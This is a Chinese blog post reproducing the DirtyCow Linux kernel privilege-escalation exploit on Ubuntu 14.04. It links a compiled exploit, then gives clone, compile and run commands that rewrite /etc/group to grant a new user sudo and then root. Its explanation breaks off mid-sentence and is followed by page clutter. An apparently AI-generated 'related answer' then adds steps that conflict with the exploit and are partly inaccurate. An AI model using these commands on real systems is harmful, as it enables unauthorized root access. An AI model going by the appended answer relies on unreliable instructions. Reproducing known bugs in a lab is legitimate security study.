DirtyCow(脏牛)漏洞复现

该文章首发于: 90sec(九零) 文章链接: https://forum.90sec.com/t/topic/521

这几天发现90sec需要登录才能浏览文章,为了方便就把该文章也发在个人博客,并顺便把之前编译好的脏牛提权EXP也一块放出来。

编译好的EXP下载地址: https://github.com/Brucetg/DirtyCow-EXP

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

1.Linux

Ubuntu 14.04 :

1)添加用户:

sudo adduser test 

输入两次密码后一直回车就行,查看当前用户的信息,终端输入 id,回车,可以看到当 前用户是有 sudo 权限的。

切换到刚刚新建的 test 用户,同样输入 id,查看 test 用户的信息,发现 test 用户没有 sudo 权限,

2)运行DirtyCow的exp进行提权:

git clone https://github.com/dirtycow/dirtycow.github.io

cd dirtycow.github.io

编译exp:

gcc dirtyc0w.c -o dirtycow lpthread

执行exp:

./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)”

新打开一个终端,切换到test,查看test用户信息,可以看到test用户已经拥有了sudo权限,执行sudo su ,输入test用户的密码后就可以切换到root权限,提权成功。

漏洞成因:

Linux写时拷贝技术(copy-on-write)

在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有

  • 6
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 11
    评论
你好!对于Linux提权的脏牛漏洞(CVE-2016-5195),我可以为你提供一些复现的步骤。请注意,这是一个严重的安全漏洞,仅用于测试和教育目的。 在开始之前,请确保你已经备份了你的系统和数据,因为这个过程可能会对系统造成损坏。 以下是复现脏牛漏洞的一般步骤: 1. 确认你的系统受到脏牛漏洞的影响。你可以使用以下命令检查: ```shell $ uname -r ``` 如果输出的内核版本在`3.0`到`4.7`之间(不包括两端),那么你的系统可能受到影响。 2. 下载并编译脏牛漏洞的测试程序,可以使用以下命令: ```shell $ git clone https://github.com/dirtycow/dirtycow.github.io $ cd dirtycow.github.io $ make ``` 3. 运行测试程序进行提权。请注意,这可能会对系统造成损坏,所以请谨慎操作。 ```shell $ ./test_dirtycow your_file_name ``` `your_file_name`是你想要修改的目标文件的路径。这个测试程序会尝试修改目标文件的权限,以实现提权效果。 4. 检查提权是否成功。你可以尝试运行一个需要超级用户权限的命令来验证。 ```shell $ sudo whoami ``` 如果输出结果为"root",那么你已经成功提权了。 请记住,在测试和复现漏洞时,务必遵守法律和道德准则。此外,确保你在合法的环境下进行测试,并获得了合适的授权。 希望这些步骤能帮助到你!如果你有任何其他问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值